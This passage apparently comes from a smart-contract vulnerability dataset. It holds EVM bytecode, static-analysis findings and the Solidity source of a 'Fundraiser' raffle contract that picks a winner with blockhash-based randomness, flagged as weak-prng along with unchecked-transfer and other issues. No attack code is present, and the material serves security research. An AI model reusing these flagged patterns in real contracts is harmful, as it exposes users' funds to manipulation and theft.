05060405180910390f35b3480156106ec57600080fd5b506106f561139a565b005b34801561070357600080fd5b5061070c61142c565b6040518082815260200191505060405180910390f35b34801561072e57600080fd5b50610763600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611431565b005b34801561077157600080fd5b5061077a6114f6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156107c857600080fd5b506107d161151c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561081f57600080fd5b50610854600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611542565b005b34801561086257600080fd5b5061086b611607565b604051808215151515815260200191505060405180910390f35b34801561089157600080fd5b506108c6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061161a565b005b3480156108d457600080fd5b506108dd611692565b6040518082815260200191505060405180910390f35b3480156108ff57600080fd5b50610908611698565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6000808284029050600084148061096b575082848281151561096857fe5b04145b151561097357fe5b8091505092915050565b600080828481151561098b57fe5b0490508091505092915050565b600080600c5442101580156109ae5750600d5442105b15156109b957600080fd5b600060149054906101000a900460ff161515156109d557600080fd5b600e60019054906101000a900460ff161515156109f157600080fd5b6109fa346116be565b9150610a1182600a5461188090919063ffffffff16565b90506007548111151515610a2457600080fd5b600e60009054906101000a900460ff16158015610a4357506008548110155b15610a9d576001600e60006101000a81548160ff0219169083151502179055507f42ef6182c6d744dd081ab962505f40413083376dfcc13e58b60f4f32e96738096008546040518082815260200191505060405180910390a15b610ab23460095461188090919063ffffffff16565b60098190555080600a81905550610b1134600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461188090919063ffffffff16565b600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610c1957600080fd5b505af1158015610c2d573d6000803e3d6000fd5b505050506040513d6020811015610c4357600080fd5b8101908080519060200190929190505050503373ffffffffffffffffffffffffffffffffffffffff167f16d99cb06fd9528f88184dd0483174a09cfd8312c28639858734b0c449cc05b88334604051808381526020018281526020019250505060405180910390a25050565b6040805190810160405280601181526020017f5175616e746f7220546f6b656e2049434f00000000000000000000000000000081525081565b600e60009054906101000a900460ff1681565b600d5481565b60065481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60055481565b600d544210151515610d4457600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d9f57600080fd5b600e60009054906101000a900460ff161515610dba57600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6009549081150290604051600060405180830381858888f19350505050158015610e24573d6000803e3d6000fd5b50600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015610f4357600080fd5b505af1158015610f57573d6000803e3d6000fd5b505050506040513d6020811015610f6d57600080fd5b81019080805190602001909291905050506040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561100357600080fd5b505af1158015611017573d6000803e3d6000fd5b505050506040513d602081101561102d57600080fd5b8101908080519060200190929190505050506001600e60016101000a81548160ff021916908315150217905550565b604181565b600a5481565b6000600d54421015151561107a57600080fd5b60001515600e60009054906101000a900460ff16151514151561109c57600080fd5b6000600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115156110ea57600080fd5b600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156111b7573d6000803e3d6000fd5b506111cd81600b5461188090919063ffffffff16565b600b819055503373ffffffffffffffffffffffffffffffffffffffff167fd7dee2702d63ad89917b6a4da9981c90c4d24f8c2bdfd64c604ecae57d8d0651826040518082815260200191505060405180910390a250565b600b5481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561128557600080fd5b600060149054906101000a900460ff161515156112a157600080fd5b6001600060146101000a81548160ff021916908315150217905550565b600c5481565b60095481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60085481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561135157600080fd5b60008111151561136057600080fd5b8060058190555050565b605081565b600060149054906101000a900460ff1681565b600f6020528060005260406000206000915090505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156113f557600080fd5b600060149054906101000a900460ff16151561141057600080fd5b60008060146101000a81548160ff021916908315150217905550565b600181565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561148c57600080fd5b60008173ffffffffffffffffffffffffffffffffffffffff16141515156114b257600080fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561159d57600080fd5b60008173ffffffffffffffffffffffffffffffffffffffff16141515156115c357600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600e60019054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561167557600080fd5b600d54421015151561168657600080fd5b61168f8161189e565b50565b60075481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806000806000600e60009054906101000a900460ff1615156118395761171760416117096116fa606460055461094a90919063ffffffff16565b8961094a90919063ffffffff16565b61097d90919063ffffffff16565b935061172e84600a5461188090919063ffffffff16565b60085410151561174057839450611877565b611757600a5460085461197390919063ffffffff16565b9250611794611772606460055461094a90919063ffffffff16565b61178660418661094a90919063ffffffff16565b61097d90919063ffffffff16565b91506117e36117d46117b2606460055461094a90919063ffffffff16565b6117c660418761094a90919063ffffffff16565b61097d90919063ffffffff16565b8761197390919063ffffffff16565b90506118326118236050611815611806606460055461094a90919063ffffffff16565b8561094a90919063ffffffff16565b61097d90919063ffffffff16565b8461188090919063ffffffff16565b9450611877565b6118746050611866611857606460055461094a90919063ffffffff16565b8961094a90919063ffffffff16565b61097d90919063ffffffff16565b94505b50505050919050565b600080828401905083811015151561189457fe5b8091505092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118f957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151561197057806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b600082821115151561198157fe5b8183039050929150505600a165627a7a72305820e643fc2816097dd6b9b64cef9c5d80402ce6561f1a36ab394fd31179181662530029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 6,084 |
0x5f78a0bb08c7679729ba1816ba1a050e3907b348
|
pragma solidity ^0.4.19;
/**
* @title ERC20
* @dev A standard interface for tokens.
* @dev https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
*/
contract ERC20 {
/// @dev Returns the total token supply
function totalSupply() public constant returns (uint256 supply);
/// @dev Returns the account balance of the account with address _owner
function balanceOf(address _owner) public constant returns (uint256 balance);
/// @dev Transfers _value number of tokens to address _to
function transfer(address _to, uint256 _value) public returns (bool success);
/// @dev Transfers _value number of tokens from address _from to address _to
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
/// @dev Allows _spender to withdraw from the msg.sender's account up to the _value amount
function approve(address _spender, uint256 _value) public returns (bool success);
/// @dev Returns the amount which _spender is still allowed to withdraw from _owner
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract Fundraiser {
event Beginning(
bytes32 _causeSecret
);
event Participation(
address _participant,
bytes32 _message,
uint256 _entries,
uint256 _refund
);
event Raise(
address _participant,
uint256 _entries,
uint256 _refund
);
event Revelation(
bytes32 _causeMessage
);
event Selection(
address _participant,
bytes32 _participantMessage,
bytes32 _causeMessage,
bytes32 _ownerMessage
);
event Cancellation();
event Withdrawal(
address _address
);
struct Deployment {
address _cause;
address _causeWallet;
uint256 _causeSplit;
uint256 _participantSplit;
address _owner;
address _ownerWallet;
uint256 _ownerSplit;
bytes32 _ownerSecret;
uint256 _valuePerEntry;
uint256 _deployTime;
uint256 _endTime;
uint256 _expireTime;
uint256 _destructTime;
uint256 _entropy;
}
struct State {
bytes32 _causeSecret;
bytes32 _causeMessage;
bool _causeWithdrawn;
address _participant;
bool _participantWithdrawn;
bytes32 _ownerMessage;
bool _ownerWithdrawn;
bool _cancelled;
uint256 _participants;
uint256 _entries;
uint256 _revealBlockNumber;
uint256 _revealBlockHash;
}
struct Participant {
bytes32 _message;
uint256 _entries;
}
struct Fund {
address _participant;
uint256 _entries;
}
modifier onlyOwner() {
require(msg.sender == deployment._owner);
_;
}
modifier neverOwner() {
require(msg.sender != deployment._owner);
require(msg.sender != deployment._ownerWallet);
_;
}
modifier onlyCause() {
require(msg.sender == deployment._cause);
_;
}
modifier neverCause() {
require(msg.sender != deployment._cause);
require(msg.sender != deployment._causeWallet);
_;
}
modifier participationPhase() {
require(now < deployment._endTime);
_;
}
modifier recapPhase() {
require((now >= deployment._endTime) && (now < deployment._expireTime));
_;
}
modifier destructionPhase() {
require(now >= deployment._destructTime);
_;
}
Deployment public deployment;
mapping(address => Participant) public participants;
Fund[] private funds;
State private _state;
function Fundraiser(
address _cause,
address _causeWallet,
uint256 _causeSplit,
uint256 _participantSplit,
address _ownerWallet,
uint256 _ownerSplit,
bytes32 _ownerSecret,
uint256 _valuePerEntry,
uint256 _endTime,
uint256 _expireTime,
uint256 _destructTime,
uint256 _entropy
) public {
require(_cause != 0x0);
require(_causeWallet != 0x0);
require(_causeSplit != 0);
require(_participantSplit != 0);
require(_ownerWallet != 0x0);
require(_causeSplit + _participantSplit + _ownerSplit == 1000);
require(_ownerSecret != 0x0);
require(_valuePerEntry != 0);
require(_endTime > now); // participation phase
require(_expireTime > _endTime); // end phase
require(_destructTime > _expireTime); // destruct phase
require(_entropy > 0);
// set the deployment
deployment = Deployment(
_cause,
_causeWallet,
_causeSplit,
_participantSplit,
msg.sender,
_ownerWallet,
_ownerSplit,
_ownerSecret,
_valuePerEntry,
now,
_endTime,
_expireTime,
_destructTime,
_entropy
);
}
// returns the post-deployment state of the contract
function state() public view returns (
bytes32 _causeSecret,
bytes32 _causeMessage,
bool _causeWithdrawn,
address _participant,
bytes32 _participantMessage,
bool _participantWithdrawn,
bytes32 _ownerMessage,
bool _ownerWithdrawn,
bool _cancelled,
uint256 _participants,
uint256 _entries
) {
_causeSecret = _state._causeSecret;
_causeMessage = _state._causeMessage;
_causeWithdrawn = _state._causeWithdrawn;
_participant = _state._participant;
_participantMessage = participants[_participant]._message;
_participantWithdrawn = _state._participantWithdrawn;
_ownerMessage = _state._ownerMessage;
_ownerWithdrawn = _state._ownerWithdrawn;
_cancelled = _state._cancelled;
_participants = _state._participants;
_entries = _state._entries;
}
// returns the balance of a cause, selected participant, owner, or participant (refund)
function balance() public view returns (uint256) {
// check for fundraiser ended normally
if (_state._participant != address(0)) {
// selected, get split
uint256 _split;
// determine split based on sender
if (msg.sender == deployment._cause) {
if (_state._causeWithdrawn) {
return 0;
}
_split = deployment._causeSplit;
} else if (msg.sender == _state._participant) {
if (_state._participantWithdrawn) {
return 0;
}
_split = deployment._participantSplit;
} else if (msg.sender == deployment._owner) {
if (_state._ownerWithdrawn) {
return 0;
}
_split = deployment._ownerSplit;
} else {
return 0;
}
// multiply total entries by split % (non-revealed winnings are forfeited)
return _state._entries * deployment._valuePerEntry * _split / 1000;
} else if (_state._cancelled) {
// value per entry times participant entries == balance
Participant storage _participant = participants[msg.sender];
return _participant._entries * deployment._valuePerEntry;
}
return 0;
}
// called by the cause to begin their fundraiser with their secret
function begin(bytes32 _secret) public participationPhase onlyCause {
require(!_state._cancelled); // fundraiser not cancelled
require(_state._causeSecret == 0x0); // cause has not seeded secret
require(_secret != 0x0); // secret cannot be zero
// seed cause secret, starting the fundraiser
_state._causeSecret = _secret;
// broadcast event
Beginning(_secret);
}
// participate in this fundraiser by contributing messages and ether for entries
function participate(bytes32 _message) public participationPhase neverCause neverOwner payable {
require(!_state._cancelled); // fundraiser not cancelled
require(_state._causeSecret != 0x0); // cause has seeded secret
require(_message != 0x0); // message cannot be zero
// find and check for no existing participant
Participant storage _participant = participants[msg.sender];
require(_participant._message == 0x0);
require(_participant._entries == 0);
// add entries to participant
var (_entries, _refund) = _raise(_participant);
// save participant message, increment total participants
_participant._message = _message;
_state._participants++;
// send out participation update
Participation(msg.sender, _message, _entries, _refund);
}
// called by participate() and the fallback function for obtaining (additional) entries
function _raise(Participant storage _participant) private returns (
uint256 _entries,
uint256 _refund
) {
// calculate the number of entries from the wei sent
_entries = msg.value / deployment._valuePerEntry;
require(_entries >= 1); // ensure we have at least one entry
// update participant totals
_participant._entries += _entries;
_state._entries += _entries;
// get previous fund's entries
uint256 _previousFundEntries = (funds.length > 0) ?
funds[funds.length - 1]._entries : 0;
// create and save new fund with cumulative entries
Fund memory _fund = Fund(msg.sender, _previousFundEntries + _entries);
funds.push(_fund);
// calculate partial entry refund
_refund = msg.value % deployment._valuePerEntry;
// refund any excess wei immediately (partial entry)
if (_refund > 0) {
msg.sender.transfer(_refund);
}
}
// fallback function that accepts ether for additional entries after an initial participation
function () public participationPhase neverCause neverOwner payable {
require(!_state._cancelled); // fundraiser not cancelled
require(_state._causeSecret != 0x0); // cause has seeded secret
// find existing participant
Participant storage _participant = participants[msg.sender];
require(_participant._message != 0x0); // make sure they participated
// forward to raise
var (_entries, _refund) = _raise(_participant);
// send raise event
Raise(msg.sender, _entries, _refund);
}
// called by the cause to reveal their message after the end time but before the end() function
function reveal(bytes32 _message) public recapPhase onlyCause {
require(!_state._cancelled); // fundraiser not cancelled
require(_state._causeMessage == 0x0); // cannot have revealed already
require(_state._revealBlockNumber == 0); // block number of reveal should not be set
require(_decode(_state._causeSecret, _message)); // check for valid message
// save revealed cause message
_state._causeMessage = _message;
// save reveal block number
_state._revealBlockNumber = block.number;
// send reveal event
Revelation(_message);
}
// determines that validity of a message, given a secret
function _decode(bytes32 _secret, bytes32 _message) private view returns (bool) {
return _secret == keccak256(_message, msg.sender);
}
// ends this fundraiser, selects a participant to reward, and allocates funds for the cause, the
// selected participant, and the contract owner
function end(bytes32 _message) public recapPhase onlyOwner {
require(!_state._cancelled); // fundraiser not cancelled
require(_state._causeMessage != 0x0); // cause must have revealed
require(_state._revealBlockNumber != 0); // reveal block number must be set
require(_state._ownerMessage == 0x0); // cannot have ended already
require(_decode(deployment._ownerSecret, _message)); // check for valid message
require(block.number > _state._revealBlockNumber); // verify reveal has been mined
// get the (cause) reveal blockhash and ensure within 256 blocks (non-zero)
_state._revealBlockHash = uint256(block.blockhash(_state._revealBlockNumber));
require(_state._revealBlockHash != 0);
// save revealed owner message
_state._ownerMessage = _message;
bytes32 _randomNumber;
address _participant;
bytes32 _participantMessage;
// add additional entropy to the random from participant messages
for (uint256 i = 0; i < deployment._entropy; i++) {
// calculate the next random
_randomNumber = keccak256(
_message,
_state._causeMessage,
_state._revealBlockHash,
_participantMessage
);
// calculate next entry and grab corresponding participant
uint256 _entry = uint256(_randomNumber) % _state._entries;
_participant = _findParticipant(_entry);
_participantMessage = participants[_participant]._message;
}
// the final participant receives the reward
_state._participant = _participant;
// send out select event
Selection(
_state._participant,
_participantMessage,
_state._causeMessage,
_message
);
}
// given an entry number, find the corresponding participant (address)
function _findParticipant(uint256 _entry) private view returns (address) {
uint256 _leftFundIndex = 0;
uint256 _rightFundIndex = funds.length - 1;
// loop until participant found
while (true) {
// first or last fund (edge cases)
if (_leftFundIndex == _rightFundIndex) {
return funds[_leftFundIndex]._participant;
}
// get fund indexes for mid & next
uint256 _midFundIndex =
_leftFundIndex + ((_rightFundIndex - _leftFundIndex) / 2);
uint256 _nextFundIndex = _midFundIndex + 1;
// get mid and next funds
Fund memory _midFund = funds[_midFundIndex];
Fund memory _nextFund = funds[_nextFundIndex];
// binary search
if (_entry >= _midFund._entries) {
if (_entry < _nextFund._entries) {
// we are in range, participant found
return _nextFund._participant;
}
// entry is greater, move right
_leftFundIndex = _nextFundIndex;
} else {
// entry is less, move left
_rightFundIndex = _midFundIndex;
}
}
}
// called by the cause or Seedom before the end time to cancel the fundraiser, refunding all
// participants; this function is available to the entire community after the expire time
function cancel() public {
require(!_state._cancelled); // fundraiser not already cancelled
require(_state._participant == address(0)); // selected must not have been chosen
// open cancellation to community if past expire time (but before destruct time)
if ((msg.sender != deployment._owner) && (msg.sender != deployment._cause)) {
require((now >= deployment._expireTime) && (now < deployment._destructTime));
}
// immediately set us to cancelled
_state._cancelled = true;
// send out cancellation event
Cancellation();
}
// used to withdraw funds from the contract from an ended fundraiser or refunds when the
// fundraiser is cancelled
function withdraw() public {
// check for a balance
uint256 _balance = balance();
require (_balance > 0); // can only withdraw a balance
address _wallet;
// check for fundraiser ended normally
if (_state._participant != address(0)) {
// determine split based on sender
if (msg.sender == deployment._cause) {
_state._causeWithdrawn = true;
_wallet = deployment._causeWallet;
} else if (msg.sender == _state._participant) {
_state._participantWithdrawn = true;
_wallet = _state._participant;
} else if (msg.sender == deployment._owner) {
_state._ownerWithdrawn = true;
_wallet = deployment._ownerWallet;
} else {
revert();
}
} else if (_state._cancelled) {
// set participant entries to zero to prevent multiple refunds
Participant storage _participant = participants[msg.sender];
_participant._entries = 0;
_wallet = msg.sender;
} else {
// no selected and not cancelled
revert();
}
// execute the refund if we have one
_wallet.transfer(_balance);
// send withdrawal event
Withdrawal(msg.sender);
}
// destroy() will be used to clean up old contracts from the network
function destroy() public destructionPhase onlyOwner {
// destroy this contract and send remaining funds to owner
selfdestruct(msg.sender);
}
// recover() allows the owner to recover ERC20 tokens sent to this contract, for later
// distribution back to their original holders, upon request
function recover(address _token) public onlyOwner {
ERC20 _erc20 = ERC20(_token);
uint256 _balance = _erc20.balanceOf(this);
require(_erc20.transfer(deployment._owner, _balance));
}
}
|
0x6060604052600436106100b95763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166309e69ede81146101f45780630a14504c1461022b5780630cd865ec146102385780632dde9aca146102575780633ccfd60b146102f05780637015913c14610303578063701fd0f11461031957806375aa87051461032f57806383197ef014610345578063b69ef8a814610358578063c19d93fb1461037d578063ea8a1af0146103fe575b600a546000908190819042106100ce57600080fd5b60005433600160a060020a03908116911614156100ea57600080fd5b60015433600160a060020a039081169116141561010657600080fd5b60045433600160a060020a039081169116141561012257600080fd5b60055433600160a060020a039081169116141561013e57600080fd5b601454610100900460ff161561015357600080fd5b601054151561016157600080fd5b600160a060020a0333166000908152600e602052604090208054909350151561018957600080fd5b61019283610411565b915091507f11df61431069ecb6bffb62f185491e4adc966b75b0648630ea30f60cfff8a9e53383836040518084600160a060020a0316600160a060020a03168152602001838152602001828152602001935050505060405180910390a1505050005b34156101ff57600080fd5b610213600160a060020a0360043516610553565b60405191825260208201526040908101905180910390f35b61023660043561056c565b005b341561024357600080fd5b610236600160a060020a03600435166106d0565b341561026257600080fd5b61026a610827565b604051600160a060020a039e8f1681529c8e1660208e01526040808e019c909c5260608d019a909a52978c1660808c015295909a1660a08a015260c089019390935260e08801919091526101008701526101208601526101408501959095526101608401949094526101808301939093526101a08201929092526101c001905180910390f35b34156102fb57600080fd5b61023661086c565b341561030e57600080fd5b610236600435610a29565b341561032457600080fd5b610236600435610c14565b341561033a57600080fd5b610236600435610cd3565b341561035057600080fd5b610236610d65565b341561036357600080fd5b61036b610d9b565b60405190815260200160405180910390f35b341561038857600080fd5b610390610ed6565b6040519a8b5260208b01999099529615156040808b0191909152600160a060020a0390961660608a0152608089019490945291151560a088015260c0870152151560e08601521515610100850152610120840191909152610140830191909152610160909101905180910390f35b341561040957600080fd5b610236610f40565b600080600061041e611169565b6008543481151561042b57fe5b049350600184101561043c57600080fd5b600185018054850190556016805485019055600f5460009011610460576000610485565b600f8054600019810190811061047257fe5b9060005260206000209060020201600101545b915060408051908101604052600160a060020a03331681528285016020820152600f805491925090600181016104bb8382611180565b600092835260209092208391600202018151815473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0391909116178155602082015160019091015550506008543481151561050f57fe5b069250600083111561054c57600160a060020a03331683156108fc0284604051600060405180830381858888f19350505050151561054c57600080fd5b5050915091565b600e602052600090815260409020805460019091015482565b600a5460009081908190421061058157600080fd5b60005433600160a060020a039081169116141561059d57600080fd5b60015433600160a060020a03908116911614156105b957600080fd5b60045433600160a060020a03908116911614156105d557600080fd5b60055433600160a060020a03908116911614156105f157600080fd5b601454610100900460ff161561060657600080fd5b601054151561061457600080fd5b83151561062057600080fd5b600160a060020a0333166000908152600e6020526040902080549093501561064757600080fd5b60018301541561065657600080fd5b61065f83610411565b85855560158054600101905590925090507f6f75810cfd16e411e8e12bc62c9265a590ce60215e3ccd143073b4e70213594533858484604051600160a060020a039094168452602084019290925260408084019190915260608301919091526080909101905180910390a150505050565b600454600090819033600160a060020a039081169116146106f057600080fd5b82915081600160a060020a03166370a08231306000604051602001526040517c010000000000000000000000000000000000000000000000000000000063ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561076357600080fd5b6102c65a03f1151561077457600080fd5b5050506040518051600454909250600160a060020a03808516925063a9059cbb9116836000604051602001526040517c010000000000000000000000000000000000000000000000000000000063ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156107fc57600080fd5b6102c65a03f1151561080d57600080fd5b50505060405180519050151561082257600080fd5b505050565b600054600154600254600354600454600554600654600754600854600954600a54600b54600c54600d54600160a060020a039d8e169d9c8d169c998a1699909816978e565b6000806000610879610d9b565b92506000831161088857600080fd5b6012546101009004600160a060020a0316156109825760005433600160a060020a03908116911614156108d6576012805460ff1916600190811790915554600160a060020a0316915061097d565b60125433600160a060020a03908116610100909204161415610941576012805475ff000000000000000000000000000000000000000000191675010000000000000000000000000000000000000000001790819055600160a060020a0361010090910416915061097d565b60045433600160a060020a0390811691161415610978576014805460ff19166001179055600554600160a060020a0316915061097d565b600080fd5b6109b6565b601454610100900460ff161561097857505033600160a060020a0381166000908152600e6020526040812060018101919091555b600160a060020a03821683156108fc0284604051600060405180830381858888f1935050505015156109e757600080fd5b7fe19ed71156e31b3c9e18ac7ad8d1b79f0a0feb3be18d23dae612e52040aada4b33604051600160a060020a03909116815260200160405180910390a1505050565b600080600080600080600a01544210158015610a465750600b5442105b1515610a5157600080fd5b60045433600160a060020a03908116911614610a6c57600080fd5b601454610100900460ff1615610a8157600080fd5b6011541515610a8f57600080fd5b6017541515610a9d57600080fd5b60135415610aaa57600080fd5b600754610ab79087610ffe565b1515610ac257600080fd5b6017544311610ad057600080fd5b6017544060188190551515610ae457600080fd5b6013869055600091505b600d54821015610b735760115460185487919085604051938452602084019290925260408084019190915260608301919091526080909101905190819003902060165490955085811515610b3e57fe5b069050610b4a8161103b565b600160a060020a0381166000908152600e60205260409020549094509250600190910190610aee565b6012805474ffffffffffffffffffffffffffffffffffffffff001916610100600160a060020a03878116820292909217928390556011547f7c195d9d8ca6f7aedfce85403a18bad6de0c1b5864a97fa635ae120b4eb4f8c3939190910490911690859089604051600160a060020a039094168452602084019290925260408084019190915260608301919091526080909101905180910390a1505050505050565b600a544210801590610c275750600b5442105b1515610c3257600080fd5b60005433600160a060020a03908116911614610c4d57600080fd5b601454610100900460ff1615610c6257600080fd5b60115415610c6f57600080fd5b60175415610c7c57600080fd5b601054610c899082610ffe565b1515610c9457600080fd5b6011819055436017557f83985f84fec43f6c4b0b122be29b8625fc89e54a2fb6ba2b76a2751c1c7874d98160405190815260200160405180910390a150565b600a544210610ce157600080fd5b60005433600160a060020a03908116911614610cfc57600080fd5b601454610100900460ff1615610d1157600080fd5b60105415610d1e57600080fd5b801515610d2a57600080fd5b60108190557f451914e591226064706dfee5bbea9f69833323aa4ef98870f5ec98f5e3fdde968160405190815260200160405180910390a150565b600c54421015610d7457600080fd5b60045433600160a060020a03908116911614610d8f57600080fd5b33600160a060020a0316ff5b601254600090819081906101009004600160a060020a031615610e935760005433600160a060020a0390811691161415610ded5760125460ff1615610de35760009250610ed1565b6002549150610e7e565b60125433600160a060020a03908116610100909204161415610e40576012547501000000000000000000000000000000000000000000900460ff1615610e365760009250610ed1565b6003549150610e7e565b60045433600160a060020a0390811691161415610e755760145460ff1615610e6b5760009250610ed1565b6006549150610e7e565b60009250610ed1565b6008546016546103e891028302049250610ed1565b601454610100900460ff1615610ecc5750600160a060020a0333166000908152600e602052604090206008546001820154029250610ed1565b600092505b505090565b601054601154601254610100808204600160a060020a03166000818152600e60205260409020546013546014546015546016549899979860ff8089169996989597750100000000000000000000000000000000000000000090960481169694958185169594041692565b601454610100900460ff1615610f5557600080fd5b6012546101009004600160a060020a031615610f7057600080fd5b60045433600160a060020a03908116911614801590610f9e575060005433600160a060020a03908116911614155b15610fc157600b544210801590610fb65750600c5442105b1515610fc157600080fd5b6014805461ff0019166101001790557f4a19036f5b4d75256c1c24150a8254bd3c2bdb1eaeeec4523e927f0ab1cdd05460405160405180910390a1565b60008133604051918252600160a060020a03166c010000000000000000000000000260208201526034016040519081900390208314905092915050565b600080600080600061104b611169565b611053611169565b600f54600096506000190194505b8486141561109857600f80548790811061107757fe5b6000918252602090912060029091020154600160a060020a0316965061115e565b600f805460028888030488019550600186019450859081106110b657fe5b9060005260206000209060020201604080519081016040528154600160a060020a031681526001909101546020820152600f805491935090849081106110f857fe5b9060005260206000209060020201604080519081016040528154600160a060020a03168152600190910154602080830191909152909150820151881061115557806020015188101561114d578051965061115e565b829550611159565b8394505b611061565b505050505050919050565b604080519081016040526000808252602082015290565b81548183558181151161082257600083815260209020610822916111e09160029182028101918502015b808211156111dc57805473ffffffffffffffffffffffffffffffffffffffff19168155600060018201556002016111aa565b5090565b905600a165627a7a723058200df8bc72be862ccc3f9b154db1bfc8cf277802fb021183758929c8556e3b35d90029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 6,085 |
0xc31714e6759a1ee26db1d06af1ed276340cd4233
|
pragma solidity ^0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
